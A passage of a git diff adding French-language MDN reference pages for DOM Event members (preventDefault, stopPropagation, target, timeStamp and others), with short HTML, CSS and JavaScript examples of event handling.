+<p>Cette propriété d'évènements <strong>n'est pas définie</strong> dans la spécification <a href="http://www.w3.org/TR/DOM-Level-2-Events/events.html">W3.org DOM niveau 2 Events</a></p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Event.originalTarget")}}</p>
diff --git a/files/fr/web/api/event/preventdefault/index.html b/files/fr/web/api/event/preventdefault/index.html
new file mode 100644
index 0000000000..0290a49d70
--- /dev/null
+++ b/files/fr/web/api/event/preventdefault/index.html
@@ -0,0 +1,180 @@
+---
+title: event.preventDefault
+slug: Web/API/Event/preventDefault
+tags:
+  - API
+  - DOM
+  - Evènement
+  - Gecko
+  - Méthodes
+translation_of: Web/API/Event/preventDefault
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<div> </div>
+
+<p>La méthode  <strong><code>preventDefault()</code></strong> de l 'interface {{domxref("Event")}} <span id="result_box" lang="fr"><span>indique à l'{{Glossary("user agent","agent utilisateur")}} que si l'événement n'est pas traité explicitement, son action par défaut ne doit pas être prise en compte comme elle le serait normalement.</span> <span>L'événement continue à se propager comme d'habitude, sauf si l'un de ses écouteurs appelle </span></span> {{domxref("Event.stopPropagation", "stopPropagation()")}} <span lang="fr"><span> ou </span></span> {{domxref("Event.stopImmediatePropagation", "stopImmediatePropagation()")}} <span lang="fr"><span>, dont l'un ou l'autre termine la propagation.</span></span></p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>Event</em>.preventDefault();</pre>
+
+<h3 id="Example" name="Example">Paramètres</h3>
+
+<p>None (<em>aucun</em>)</p>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p><code>undefined</code>.</p>
+
+<h2 id="Example" name="Example">Exemples</h2>
+
+<h3 id="Bloquer_la_gestion_des_clics_par_défaut"><span class="short_text" id="result_box" lang="fr"><span>Bloquer la gestion des clics par défaut</span></span></h3>
+
+<p>L'action par défaut du clic sur une case à cocher est le changement de son état. Cet exemple montre comment annuler cette action :</p>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">"#id-checkbox"</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"click"</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+         document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"output-box"</span><span class="punctuation token">)</span><span class="punctuation token">.</span>innerHTML <span class="operator token">+</span><span class="operator token">=</span> <span class="string token">"Sorry! &lt;code&gt;preventDefault()&lt;/code&gt; won't let you check this!&lt;br&gt;"</span><span class="punctuation token">;</span>
+         event<span class="punctuation token">.</span><span class="function token">preventDefault</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Please click on the checkbox control.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>form</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>label</span> <span class="attr-name token">for</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>id-checkbox<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Checkbox:<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>label</span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>checkbox<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>id-checkbox<span class="punctuation token">"</span></span><span class="punctuation token">/&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>form</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>output-box<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>Vous pouvez voir <code>preventDefault</code> en action ici (anglais) :</p>
+
+<p>{{EmbedLiveSample("Blocking_default_click_handling")}}</p>
+
+<h3 id="Arrêter_les_frappes_de_touches_pour_atteindre_un_champ_d'édition"><span id="result_box" lang="fr"><span>Arrêter les frappes de touches pour atteindre un champ d'édition</span></span></h3>
+
+<p>L'exemple suivant montre comment bloquer la saisie de texte invalide dans un champ input avec <code>preventDefault()</code>. <span id="result_box" lang="fr"><span>Actuellement, vous devriez normalement utiliser la validation de forme HTML native à la place.</span></span></p>
+
+<h4 id="HTML_2"><span lang="fr"><span>HTML</span></span></h4>
+
+<p><span lang="fr"><span>Ici le formulaire :</span></span></p>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>container<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Please enter your name using lowercase letters only.<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>form</span><span class="punctuation token">&gt;</span></span>
+    <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text<span class="punctuation token">"</span></span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>my-textbox<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>form</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h4 id="CSS">CSS</h4>
+
+<p><span id="result_box" lang="fr"><span>Nous utilisons un peu de CSS pour la boîte d'avertissement qui sera dessinée lorsque l'utilisateur appuie sur une touche non valide :</span></span></p>
+
+<pre class="brush: css line-numbers  language-css"><code class="language-css"><span class="selector token"><span class="class token">.warning</span> </span><span class="punctuation token">{</span>
+  <span class="property token">border</span><span class="punctuation token">:</span> <span class="number token">2</span>px solid <span class="hexcode token">#f39389</span><span class="punctuation token">;</span>
+  <span class="property token">border-radius</span><span class="punctuation token">:</span> <span class="number token">2</span>px<span class="punctuation token">;</span>
+  <span class="property token">padding</span><span class="punctuation token">:</span> <span class="number token">10</span>px<span class="punctuation token">;</span>
+  <span class="property token">position</span><span class="punctuation token">:</span> absolute<span class="punctuation token">;</span>
+  <span class="property token">background-color</span><span class="punctuation token">:</span> <span class="hexcode token">#fbd8d4</span><span class="punctuation token">;</span>
+  <span class="property token">color</span><span class="punctuation token">:</span> <span class="hexcode token">#3b3c40</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h4 id="JavaScript_2">JavaScript</h4>
+
+<p><span id="result_box" lang="fr"><span>Et voici le code JavaScript qui fait le travail.</span> <span>Tout d'abord, écoutez les événements {{event("keypress")}}:</span></span></p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> myTextbox <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'my-textbox'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+myTextbox<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'keypress'</span><span class="punctuation token">,</span> checkName<span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>La fonction <code>checkName()</code>, <span id="result_box" lang="fr"><span>qui regarde la touche enfoncée et décide de l'autoriser :</span></span></p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">checkName</span><span class="punctuation token">(</span>evt<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> charCode <span class="operator token">=</span> evt<span class="punctuation token">.</span>charCode<span class="punctuation token">;</span>
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>charCode <span class="operator token">!=</span> <span class="number token">0</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">if</span> <span class="punctuation token">(</span>charCode <span class="operator token">&lt;</span> <span class="number token">97</span> <span class="operator token">||</span> charCode <span class="operator token">&gt;</span> <span class="number token">122</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      evt<span class="punctuation token">.</span><span class="function token">preventDefault</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+      <span class="function token">displayWarning</span><span class="punctuation token">(</span>
+        <span class="string token">"Please use lowercase letters only."</span>
+        <span class="operator token">+</span> <span class="string token">"\n"</span> <span class="operator token">+</span> <span class="string token">"charCode: "</span> <span class="operator token">+</span> charCode <span class="operator token">+</span> <span class="string token">"\n"</span>
+      <span class="punctuation token">)</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span>
+  <span class="punctuation token">}</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>La fonction <code>displayWarning()</code>  <span id="result_box" lang="fr"><span>présente une notification d'un problème.</span> <span>Ce n'est pas une fonction élégante mais elle fait le travail nécessaire à cet exemple :</span></span></p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> warningTimeout<span class="punctuation token">;</span>
+<span class="keyword token">var</span> warningBox<span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">"div"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+warningBox<span class="punctuation token">.</span>className <span class="operator token">=</span> <span class="string token">"warning"</span><span class="punctuation token">;</span>
+
+<span class="keyword token">function</span> <span class="function token">displayWarning</span><span class="punctuation token">(</span>msg<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  warningBox<span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> msg<span class="punctuation token">;</span>
+
+  <span class="keyword token">if</span> <span class="punctuation token">(</span>warningBox<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    window<span class="punctuation token">.</span><span class="function token">clearTimeout</span><span class="punctuation token">(</span>warningTimeout<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+    myTextbox<span class="punctuation token">.</span>parentNode<span class="punctuation token">.</span><span class="function token">insertBefore</span><span class="punctuation token">(</span>warningBox<span class="punctuation token">,</span> myTextbox<span class="punctuation token">)</span><span class="punctuation token">;</span>
+  <span class="punctuation token">}</span>
+
+  warningTimeout <span class="operator token">=</span> window<span class="punctuation token">.</span><span class="function token">setTimeout</span><span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+      warningBox<span class="punctuation token">.</span>parentNode<span class="punctuation token">.</span><span class="function token">removeChild</span><span class="punctuation token">(</span>warningBox<span class="punctuation token">)</span><span class="punctuation token">;</span>
+      warningTimeout <span class="operator token">=</span> <span class="operator token">-</span><span class="number token">1</span><span class="punctuation token">;</span>
+    <span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="number token">2000</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>Ici le résultat du code précédent :</p>
+
+<p>{{ EmbedLiveSample('Stopping_keystrokes_from_reaching_an_edit_field', 600, 200) }}</p>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p><code>Appeler preventDefault</code> pendant chaque étape de la propagation de l'évènement annule celui-ci, ce qui signifie que chaque action par défaut se produisant normalement ne se produira pas.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Depuis {{Gecko("6.0")}}, appeler <code>preventDefault()</code> passe la valeur de la propriété {{domxref("event.defaultPrevented")}} à <code>true</code>.</p>
+</div>
+
+<p>Vous pouvez utiliser {{domxref("Event.cancelable")}} pour vérifier que l'évènement peut être annulé. Appeler <code>preventDefault</code> sur un évènement qui ne peut pas être annulé n'a aucun effet.</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<article class="approved text-content">
+<div class="boxed translate-rendered">
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-preventdefault', 'Event.preventDefault()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-Event-preventDefault', 'Event.preventDefault()')}}</td>
+   <td>{{ Spec2('DOM2 Events') }}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+</article>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Event.preventDefault")}}</p>
diff --git a/files/fr/web/api/event/returnvalue/index.html b/files/fr/web/api/event/returnvalue/index.html
new file mode 100644
index 0000000000..98863439b0
--- /dev/null
+++ b/files/fr/web/api/event/returnvalue/index.html
@@ -0,0 +1,36 @@
+---
+title: Event.returnValue
+slug: Web/API/Event/returnValue
+tags:
+  - API
+  - DOM
+  - Propriétés
+  - action
+  - évènements
+translation_of: Web/API/Event/returnValue
+---
+<p>{{APIRef("DOM Events")}}{{Non-standard_header}}{{ Deprecated_header() }}</p>
+
+<p>La propriété <code><strong>Event.returnValue</strong></code> indique si l'action par défaut pour cet évènement a été empêchée ou non. Elle est définie à <code>true</code> (<em>vrai</em>) par défaut, permettant à l'action par défaut de se produire. La définition de cette propriété à <code>false</code> (<em>faux</em>) empêche le déclenchement de l'action par défaut.</p>
+
+<div class="note">
+<p>Utilisez {{domxref("Event.preventDefault()")}} à la place de cette méthode non standard.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">event.returnValue = <em>bool;</em>
+<em>var bool</em> = event.returnValue;
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Bien qu'elle ait été inclue <a href="https://www.w3.org/TR/1999/WD-DOM-Level-2-19990304/events.html#attribute-returnValue">dans l'ancien brouillon de travail de W3C DOM niveau 2</a><em>, cette propriété ne fait partie d'aucune spécification.</em></p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Event.returnValue")}}</p>
+
+<div id="compat-mobile"> </div>
diff --git a/files/fr/web/api/event/srcelement/index.html b/files/fr/web/api/event/srcelement/index.html
new file mode 100644
index 0000000000..94328eecf1
--- /dev/null
+++ b/files/fr/web/api/event/srcelement/index.html
@@ -0,0 +1,32 @@
+---
+title: Event.srcElement
+slug: Web/API/Event/srcElement
+tags:
+  - API
+  - DOM
+  - Evènement
+  - Propriétés
+  - Éléments SRC
+translation_of: Web/API/Event/srcElement
+---
+<p>{{ApiRef("DOM")}}</p>
+
+<p>{{ Non-standard_header() }}</p>
+
+<p><strong><code>Event.srcElement</code></strong> est un alias propriétaire (implémenté dans Internet Explorer) pour la propriété standard {{domxref("Event.target")}} <span id="result_box" lang="fr"><span>qui commence à être pris en charge dans d'autres navigateurs à des fins de compatibilité Web.</span></span></p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<p>Ne fait partie d'aucune spécification.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Event.srcElement")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Window.event")}}</li>
+</ul>
diff --git a/files/fr/web/api/event/stopimmediatepropagation/index.html b/files/fr/web/api/event/stopimmediatepropagation/index.html
new file mode 100644
index 0000000000..e360493937
--- /dev/null
+++ b/files/fr/web/api/event/stopimmediatepropagation/index.html
@@ -0,0 +1,44 @@
+---
+title: Event.stopImmediatePropagation()
+slug: Web/API/Event/stopImmediatePropagation
+tags:
+  - API
+  - Event
+  - Méthode
+  - Reference
+translation_of: Web/API/Event/stopImmediatePropagation
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La méthode <code><strong>stopImmediatePropagation()</strong></code>, rattachée à l'interface {{domxref("Event")}}, empêche les gestionnaires d'évènement, associés à ce même évènement, d'être appelés.</p>
+
+<p>Si plusieurs gestionnaires d'évènement sont attachés à un élément pour le même type d'évènement, ils sont appelés dans l'ordre dans lequel ils ont été ajoutés. Si <code>stopImmediatePropagation()</code> est appelé pendant un de ces appels, les gestionnaires restants ne sont pas invoqués.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>event</em>.stopImmediatePropagation();</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-event-stopimmediatepropagation', 'Event.stopImmediatePropagation()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.Event.stopImmediatePropagation")}}</p>
diff --git a/files/fr/web/api/event/stoppropagation/index.html b/files/fr/web/api/event/stoppropagation/index.html
new file mode 100644
index 0000000000..5956fc1e5b
--- /dev/null
+++ b/files/fr/web/api/event/stoppropagation/index.html
@@ -0,0 +1,65 @@
+---
+title: Event.stopPropagation()
+slug: Web/API/Event/stopPropagation
+tags:
+  - API
+  - DOM
+  - Evènement
+  - Méthode
+  - Reference
+translation_of: Web/API/Event/stopPropagation
+---
+<p id="Summary">{{APIRef("DOM")}}</p>
+
+<p>Évite que l'évènement courant ne se propage plus loin dans les phases de capture et de déploiement.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>event</em>.stopPropagation();</pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<p>Voir la section Exemple 5 : <a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model/Exemples#Exemple_5_:_propagation_d%27%C3%A9v%C3%A8nements" title="https://developer.mozilla.org/en-US/docs/Gecko_DOM_Reference/Examples#Example_5.3A_Event_Propagation">Propagation d'évènements</a> dans le chapitre Exemples pour un exemple plus détaillé de cette méthode et de la propagation d'évènements dans le DOM.</p>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Voir <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Events/events.html#Events-flow-capture">DOM specification</a> (en)  pour une explication du flux d'évènements. (Une illustration est disponible dans le brouillon <a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow" title="http://www.w3.org/TR/DOM-Level-3-Events/#event-flow">DOM Level 3 Event draft</a> (en)).</p>
+
+<p><a href="/fr/docs/Web/API/Event/preventDefault" title="DOM/event.preventDefault">preventDefault</a> est une méthode complémentaire qui peut être utilisée pour empêcher l'action par défaut de l'évènement.</p>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>Statut</th>
+   <th>Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-event-stoppropagation", "Event.stopPropagation()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-event-stoppropagation", "Event.stopPropagation()")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-Event-stopPropagation", "Event.stopPropagation()")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Event.stopPropagation")}}</p>
+
+<div id="compat-desktop">
+<div id="compat-mobile"> </div>
+</div>
diff --git a/files/fr/web/api/event/target/index.html b/files/fr/web/api/event/target/index.html
new file mode 100644
index 0000000000..b624041ab6
--- /dev/null
+++ b/files/fr/web/api/event/target/index.html
@@ -0,0 +1,89 @@
+---
+title: Event.target
+slug: Web/API/Event/target
+tags:
+  - API
+  - Cible
+  - DOM
+  - Evènement
+  - Propriétés
+translation_of: Web/API/Event/target
+---
+<p>{{ ApiRef("DOM") }}</p>
+
+<p>C'est une référence à l'objet qui a envoyé l'événement. C'est une propriété différente de {{domxref("event.currentTarget")}} lorsque le gestionnaire d'événements est appelé au cours de la phase de propagation ou de la phase de capture de l'événement.</p>
+
+<h2 id="Example" name="Example">Syntaxe</h2>
+
+<pre><code><code>laCible = event.target</code></code></pre>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<p>La propriété <code>event.target</code> peut être utilisée pour implémenter la <strong>délégation d'événements</strong>.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="comment token">// Produit une liste</span>
+<span class="keyword token">var</span> ul <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">'ul'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>ul<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="keyword token">var</span> li1 <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">'li'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> li2 <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">'li'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+ul<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>li1<span class="punctuation token">)</span><span class="punctuation token">;</span>
+ul<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>li2<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="keyword token">function</span> <span class="function token">hide</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span><span class="punctuation token">{</span>
+  <span class="comment token">// e.target se réfère à l'élément &lt;li&gt; cliqué</span>
+  <span class="comment token">// C'est différent de e.currentTarget qui doit faire référence au parent &lt;ul&gt; dans ce contexte</span>
+  e<span class="punctuation token">.</span>target<span class="punctuation token">.</span>style<span class="punctuation token">.</span>visibility <span class="operator token">=</span> <span class="string token">'hidden'</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="comment token">// Attache l'écouteur à la liste</span>
+<span class="comment token">// Il se déclenche pour chaque &lt;li&gt; clické</span>
+ul<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> hide<span class="punctuation token">,</span> <span class="keyword token">false</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Spécification</th>
+   <th>Statut</th>
+   <th>Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-event-target", "Event.target")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-event-target", "Event.target")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Events", "#Events-Event-target", "Event.target")}}</td>
+   <td>{{Spec2("DOM2 Events")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Event.target")}}</p>
+
+<h2 id="Notes_concernant_la_compatibilité">Notes concernant la compatibilité</h2>
+
+<p>Sur IE6-8, le modèle d'événement est différent. Les écouteurs sont attachés avec la méthode non standard <code>{{domxref('EventTarget.attachEvent')}}</code> . Dans ce modèle, l'objet événement a une propriété  <code>{{domxref('Event.srcElement')}}</code>, à la place de la propriété <code>target</code>, avec la même sémantique que<span style="line-height: 1.5;"> </span><code style="font-style: normal; line-height: 1.5;">event.target</code><span style="line-height: 1.5;">.</span></p>
+
+<pre class="brush: js" style="font-size: 14px;">function hide(e) {
+  // Support IE6-8
+  var target = e.target || e.srcElement;
+  target.style.visibility = 'hidden';
+}
+</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p><a href="https://developer.mozilla.org/fr/docs/Web/API/Event/Comparaison_des_cibles_d_%C3%A9v%C3%A8nements" title="en/DOM/event/Comparison_of_Event_Targets">Comparaison des cibles d'évènements</a></p>
diff --git a/files/fr/web/api/event/timestamp/index.html b/files/fr/web/api/event/timestamp/index.html
new file mode 100644
index 0000000000..b3e2333120
--- /dev/null
+++ b/files/fr/web/api/event/timestamp/index.html
@@ -0,0 +1,108 @@
+---
+title: Event.timeStamp
+slug: Web/API/Event/timeStamp
+tags:
+  - API
+  - DOM
+  - Evènement
+  - Propriétés
+  - temps
+translation_of: Web/API/Event/timeStamp
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>Retourne le temps (en millisecondes) à partir duquel l'événement a été créé.</p>
+
+<div class="note">
+<p>Note : Cette propriété fonctionne seulement si le système d'évènements le prend en charge pour des évènements particuliers.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox">event.timeStamp
+</pre>
+
+<h3 id="Examples" name="Examples">Valeur</h3>
+
+<p>Cette valeur est un nombre de millisecondes écoulées depuis le début du temps de vie du document courant jusqu'à la création de l'évènement.</p>
+
+<p>Dans les nouvelles implémentations, la valeur est un {{domxref("DOMHighResTimeStamp")}} dont la précision est de 5 microsecondes (0,005 ms). Dans les implémentations plus anciennes, la valeur est un {{domxref("DOMTimeStamp")}} de précision d'une milliseconde.</p>
+
+<h2 id="Examples" name="Examples">Exemple</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html line-numbers  language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>
+  Focus this iframe and press any key to get the
+  current timestamp for the keypress event.
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>timeStamp: <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>span</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>time<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>-<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>span</span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">getTime</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="keyword token">var</span> time <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">"time"</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+  time<span class="punctuation token">.</span>firstChild<span class="punctuation token">.</span>nodeValue <span class="operator token">=</span> event<span class="punctuation token">.</span>timeStamp<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
